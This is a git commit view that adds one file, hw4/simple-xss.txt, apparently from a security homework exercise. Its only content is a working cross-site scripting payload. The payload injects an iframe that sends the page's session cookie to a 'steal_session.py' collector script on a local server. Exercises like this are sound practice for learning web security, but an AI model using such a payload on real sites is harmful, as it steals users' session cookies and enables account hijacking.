summaryrefslogtreecommitdiff
path: root/hw4/simple-xss.txt
diff options
context:
space:
mode:
Diffstat (limited to 'hw4/simple-xss.txt')
-rw-r--r--hw4/simple-xss.txt1
1 files changed, 1 insertions, 0 deletions
diff --git a/hw4/simple-xss.txt b/hw4/simple-xss.txt
new file mode 100644
index 0000000..1862081
--- /dev/null
+++ b/hw4/simple-xss.txt
@@ -0,0 +1 @@
+<script> var tmp = '<iframe src="http://127.0.0.1:8000/cgi-bin/steal_session.py?session=' + document.cookie.split('=')[1] + '" frameBorder="0" width="1000" height="90"></iframe>'; document.write(tmp)</script>